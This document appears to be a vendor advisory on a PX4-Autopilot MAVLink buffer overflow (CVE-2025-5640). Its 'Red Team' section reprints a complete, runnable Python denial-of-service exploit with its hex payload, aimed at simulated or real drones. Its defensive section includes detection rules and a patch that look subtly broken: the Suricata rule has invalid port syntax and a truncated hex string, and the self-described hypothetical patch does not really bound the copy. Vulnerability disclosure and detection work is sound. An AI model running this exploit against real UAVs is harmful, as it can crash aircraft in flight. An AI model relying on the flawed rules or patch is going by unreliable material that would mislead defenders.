CVE-2025-5640

Executive Summary

CVE-2025-5640 is a stack-based buffer overflow vulnerability in the PX4-Autopilot version 1.12.3, specifically within the MavlinkReceiver::handle_message_trajectory_representation_waypoints function in mavlink_receiver.cpp. The vulnerability is triggered by a malformed MAVLink message of type TRAJECTORY_REPRESENTATION_WAYPOINTS. An attacker with local access to the MAVLink communication channel can send a crafted packet to crash the autopilot, leading to a Denial of Service (DoS). The exploit has been publicly disclosed, and a proof-of-concept (PoC) is available. The CVSS score is 0.0, but the impact on military UAV operations could be severe.

Supply Chain & Package Security

This vulnerability affects the PX4-Autopilot project, which is a widely used open-source autopilot software for drones and UAVs. The supply chain risk is significant as PX4 is integrated into many commercial and military systems. The lack of a patch increases the risk of exploitation in production environments.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD)
• CVSS Vector: UNKNOWN
• Attack Vector (AV): Local (requires access to MAVLink channel)
• Attack Complexity (AC): Low
• Privileges Required (PR): None
• User Interaction (UI): None
• Scope (S): Unchanged
• Confidentiality (C): None
• Integrity (I): None
• Availability (A): High

Threat Level: High (due to public exploit and potential impact on UAV operations)

Deep Dive & Mechanics

The vulnerability resides in the MavlinkReceiver::handle_message_trajectory_representation_waypoints function within mavlink_receiver.cpp. The function processes MAVLink messages of type TRAJECTORY_REPRESENTATION_WAYPOINTS. A stack-based buffer overflow occurs when the function copies data from the incoming message into a fixed-size stack buffer without proper bounds checking. By sending a specially crafted MAVLink packet with an oversized payload, an attacker can overflow the buffer, corrupting the stack and causing a crash.

The exploit uses a malformed MAVLink packet (hex payload) that triggers the overflow. The PoC sends this packet over UDP to the PX4 autopilot, causing it to crash.

Vulnerable vs. Patched Code

Vulnerable Code (PX4-Autopilot 1.12.3):

// mavlink_receiver.cpp (simplified)
void MavlinkReceiver::handle_message_trajectory_representation_waypoints(mavlink_message_t *msg) {
    mavlink_trajectory_representation_waypoints_t traj;
    mavlink_msg_trajectory_representation_waypoints_decode(msg, &traj);
    // No bounds check on traj data before copying to stack buffer
    char buffer[256];
    memcpy(buffer, traj.data, sizeof(traj.data)); // Potential overflow
}

Patched Code (Hypothetical):

// mavlink_receiver.cpp (patched)
void MavlinkReceiver::handle_message_trajectory_representation_waypoints(mavlink_message_t *msg) {
    mavlink_trajectory_representation_waypoints_t traj;
    mavlink_msg_trajectory_representation_waypoints_decode(msg, &traj);
    char buffer[256];
    size_t copy_size = (sizeof(traj.data) < sizeof(buffer)) ? sizeof(traj.data) : sizeof(buffer);
    memcpy(buffer, traj.data, copy_size); // Bounds check added
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Python 3.x with pymavlink library installed (pip install pymavlink)
• Target PX4 autopilot (SITL or real drone) accessible via UDP

Exploit Code (from Exploit-DB):

# Exploit Title: PX4 Military UAV Autopilot 1.12.3 - Denial of Service (DoS)
# Author: Mohammed Idrees Banyamer (@banyamer_security)
# GitHub: https://github.com/mbanyamer
# Date: 2025-06-21
# Tested on: Ubuntu 20.04 LTS + PX4 SITL (jMAVSim)
# CVE: CVE-2025-5640
# Type: Denial of Service (DoS) via Buffer Overflow
# Platform: Cross-platform (Military UAVs / PX4 SITL / Linux-based autopilot ground station)
# Author Country: Jordan
# Description:
#   A stack-based buffer overflow vulnerability in PX4 Military UAV Autopilot <=1.12.3 is triggered
#   when handling a malformed MAVLink message of type TRAJECTORY_REPRESENTATION_WAYPOINTS.
#   An attacker with access to the MAVLink communication channel can send a crafted packet
#   to crash the autopilot, potentially disrupting military UAV operations. This exploit demonstrates
#   a proof-of-concept that causes the PX4 autopilot to crash via UDP.


import argparse
import binascii
from pymavlink import mavutil
import sys

# Exploit payload (malformed MAVLink hex)
hex_payload = (
    "fdef0000dcea6f4c01006de9d06a0548182a1fcc8b7cc542eb8945a54baa92ee908db9af0195bb5dce5f9ab613be912485d34e577c352"
    "c5cdc06592484be1aecd64a07127bda31fc8f41f300a9e4a0eab80d8835f106924f0b89ece3e256dda30e3001f07df4e1633e6f827b78"
    "12731dbc3daf1e81fc06cea4d9c8c1525fb955d3eddd7454b54bb740bcd87b00063bd9111d4fb4149658d4ccd92974c97c7158189a8d6"
)

def connect_to_px4(ip, port, timeout, verbose=False):
    try:
        if verbose:
            print(f"[*] Connecting to PX4 at udp:{ip}:{port} ...")
        master = mavutil.mavlink_connection(f"udp:{ip}:{port}")
        master.wait_heartbeat(timeout=timeout)
        if verbose:
            print("[+] PX4 heartbeat received. Connection OK.")
        return master
    except Exception as e:
        print(f"[!] Error connecting to PX4: {e}")
        sys.exit(1)

def send_dos_packet(master, verbose=False):
    try:
        payload = binascii.unhexlify(hex_payload)
        master.write(payload)
        print("[+] Exploit packet sent. Monitor PX4 for crash.")
    except Exception as e:
        print(f"[!] Failed to send payload: {e}")
        sys.exit(1)

def main():
    usage = """
    PX4 Exploit Tool - CVE-2025-5640
    =================================
    Exploit a buffer overflow vulnerability in PX4 autopilot via MAVLink.

    USAGE:
        python3 px4_exploit_tool.py [OPTIONS]

    EXAMPLES:
        # Run DoS attack on default PX4 SITL
        python3 px4_exploit_tool.py --mode dos

        # Test connectivity to a real drone
        python3 px4_exploit_tool.py --mode check --ip 192.168.10.10 --port 14550

    OPTIONS:
        --ip        Target IP address (default: 127.0.0.1)
        --port      Target UDP port (default: 14540)
        --mode      Mode of operation: dos (default), check
        --timeout   Timeout in seconds for heartbeat (default: 5)
        --verbose   Enable verbose output
    """
    parser = argparse.ArgumentParser(
        description="PX4 MAVLink DoS Exploit Tool (CVE-2025-5640) by @banyamer_security",
        epilog=usage,
        formatter_class=argparse.RawDescriptionHelpFormatter
    )
    parser.add_argument("--ip", default="127.0.0.1", help="Target IP address (default: 127.0.0.1)")
    parser.add_argument("--port", type=int, default=14540, help="Target UDP port (default: 14540)")
    parser.add_argument("--timeout", type=int, default=5, help="Timeout in seconds for heartbeat (default: 5)")
    parser.add_argument("--mode", choices=["dos", "check"], default="dos", help="Mode: dos (default) or check connection")
    parser.add_argument("--verbose", action="store_true", help="Enable verbose output")

    args = parser.parse_args()

    master = connect_to_px4(args.ip, args.port, args.timeout, args.verbose)

    if args.mode == "check":
        print("[*] PX4 is alive. Connection test passed.")
    elif args.mode == "dos":
        send_dos_packet(master, args.verbose)


if __name__ == "__main__":
    main()

Usage:

1. Set up a PX4 SITL environment (e.g., using jMAVSim).
2. Run the exploit: python3 px4_exploit_tool.py --ip 127.0.0.1 --port 14540 --mode dos
3. Monitor the PX4 console for crash logs.

Blue Team

Detection:

• Monitor for malformed MAVLink packets, especially TRAJECTORY_REPRESENTATION_WAYPOINTS messages with excessive size.
• Use network intrusion detection systems (NIDS) to flag unusual UDP traffic on ports 14540 and 14550.
• Implement application-level logging for MAVLink message processing errors.

Mitigation:

• Apply input validation and bounds checking in the handle_message_trajectory_representation_waypoints function.
• Restrict MAVLink communication to trusted networks only.
• Use MAVLink protocol version 2.0 with signing to prevent unauthorized messages.

Indicators of Compromise (IOCs)

• Network:
  • UDP packets on ports 14540 or 14550 with payload starting with fdef0000dcea6f4c01006de9d06a0548182a1fcc8b7cc542eb8945a54baa92ee908db9af0195bb5dce5f9ab613be912485d34e577c352
  • Unusually large MAVLink messages of type TRAJECTORY_REPRESENTATION_WAYPOINTS (message ID 333)
• Host:
  • PX4 autopilot crash logs containing references to handle_message_trajectory_representation_waypoints
  • Core dumps or segmentation faults in PX4 processes
• File:
  • Presence of exploit script px4_exploit_tool.py on systems

Detection Engineering

YARA Rule

rule CVE_2025_5640_PX4_Exploit_Payload {
    meta:
        description = "Detects the malformed MAVLink payload used in CVE-2025-5640 exploit"
        author = "Valters IT"
        date = "2025-06-21"
        reference = "CVE-2025-5640"
    strings:
        $payload = { fdef0000dcea6f4c01006de9d06a0548182a1fcc8b7cc542eb8945a54baa92ee908db9af0195bb5dce5f9ab613be912485d34e577c352 }
    condition:
        $payload
}

Sigma Rule

title: Detection of CVE-2025-5640 Exploit Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects network traffic containing the malformed MAVLink payload for CVE-2025-5640
author: Valters IT
date: 2025-06-21
logsource:
    category: network
    product: suricata
detection:
    selection:
        payload|contains: "fdef0000dcea6f4c01006de9d06a0548182a1fcc8b7cc542eb8945a54baa92ee908db9af0195bb5dce5f9ab613be912485d34e577c352"
    condition: selection
falsepositives:
    - Unknown
level: high

Suricata Rule

alert udp any any -> any 14540 or 14550 (msg:"CVE-2025-5640 PX4 MAVLink Exploit Attempt"; content:"|fdef 0000 dcea 6f4c 0100 6de9 d06a 0548 182a 1fcc 8b7c c542 eb89 45a5 4baa 92ee 908d b9af 0195 bb5d ce5f 9ab6 13be 9124 85d3 4e57 7c35 2c5c dc06 5924 84be 1aec d64a 0712 7bda 31fc 8f41 f300 a9e4 a0ea b80d 8835 f106 924f 0b89 ece3 e256 dda3 0e30 01f0 7df4 e163 3e6f 827b 7812 731d bc3d af1e 81fc 06ce a4d9 c8c1 525f b955 d3ed dd74 54b5 4bb7 40bc d87b 0006 3bd9 111d 4fb4 1496 58d4 ccd9 2974 c97c 7158 189a 8d6|"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems: Disconnect PX4 autopilots from untrusted networks.
2. Apply workaround: If possible, disable processing of TRAJECTORY_REPRESENTATION_WAYPOINTS messages in the MAVLink receiver.
3. Monitor logs: Check for crash logs or unusual MAVLink traffic.

Long-term Fix:

• Patch: Await an official patch from the PX4 project. In the meantime, apply the hypothetical patch shown in the "Vulnerable vs. Patched Code" section.
• Upgrade: Update to a patched version once available.
• Network segmentation: Use firewalls to restrict MAVLink traffic to trusted IPs only.
• MAVLink signing: Enable MAVLink 2.0 signing to prevent unauthorized message injection.

Valters IT

{/* [Security Hash: 1899F43C61C5E40EE26D235E] */}